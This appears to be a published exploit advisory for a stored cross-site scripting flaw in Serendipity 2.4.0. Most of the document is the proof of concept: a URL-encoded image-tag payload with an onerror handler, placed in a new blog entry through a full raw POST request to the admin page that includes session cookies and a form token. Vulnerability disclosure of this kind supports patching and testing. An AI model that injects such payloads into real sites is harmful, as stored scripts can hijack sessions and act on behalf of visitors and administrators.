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Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS) Author: Mirabbas Ağalarov Application: Serendipity Version: 2.4.0 Bugs:Stored XSS Technology: PHP Vendor URL: https://docs.s9y.org/ Software Link: https://docs.s9y.org/downloads.html Date of found: 13.04.2023 Tested on: Linux 2. Technical Details & POC ======================================== steps: 1.Anyone who has the authority to create the new entry can do this payload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E POST /serendipity/serendipity_admin.php? HTTP/1.1 Host: localhost Content-Length: 730 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b Connection: close serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=1 2. visit the entry you created |
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